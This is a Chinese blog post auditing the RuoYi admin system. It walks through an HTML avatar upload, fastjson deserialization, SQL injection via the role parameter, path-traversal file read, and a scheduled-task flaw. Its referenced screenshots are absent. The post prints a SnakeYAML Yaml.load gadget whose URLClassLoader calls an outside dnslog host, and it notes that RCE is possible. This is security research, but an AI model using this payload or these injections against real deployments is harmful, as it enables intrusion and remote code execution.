若依系统代码审计
头像处上传html
头像上传的地方有个白名单

这些后缀的文件都可以上传成功

fastjson漏洞审计流程
检索JSONObject.parseObject 关键字发现在validateEdit函数里面运用了该函数
options这个json对象是通过 JSON.toJSONString(genTable.getParams()) 生成的 我们需要知道genTable.getParams() 我们是否可控

查看genTable.getParams() 方法

再查看validateEdit在哪里被执行了
发现在/edit这个接口实现函数上调用了这个函数 同时接口使用@Validated,说明会自动匹配客户端发送的参数变量与GenTable的属性进行匹配,如果匹配成功,参数将自动转化为GenTable的属性

也就是说我们对参数是可控的
我们找到业务接口 并尝试发包


参数可控

被防住了 如果版本低一点应该是可以的

sql注入
发现参数拼接

在selectRoleList 里被调用

找到selectRoleList 函数被调用的位置 发现role参数可控

构造报错数据包

发现确实存在注入


还有好几个sql注入点 不一一列举了
任意文件读取漏洞
没过滤 ../../


定时任务漏洞
结合org.yaml.snakeyaml.Yaml.load 打个dnslog 证明漏洞存在 其实可以rce的

1 | org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://asizby.dnslog.cn"]]]]') |

- Title: 若依系统代码审计
- Author: UWI
- Created at : 2025-07-30 10:02:03
- Updated at : 2025-08-21 10:36:58
- Link: https://nbwsws.github.io/2025/07/30/代码审计/ruoyi系统代码审计/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments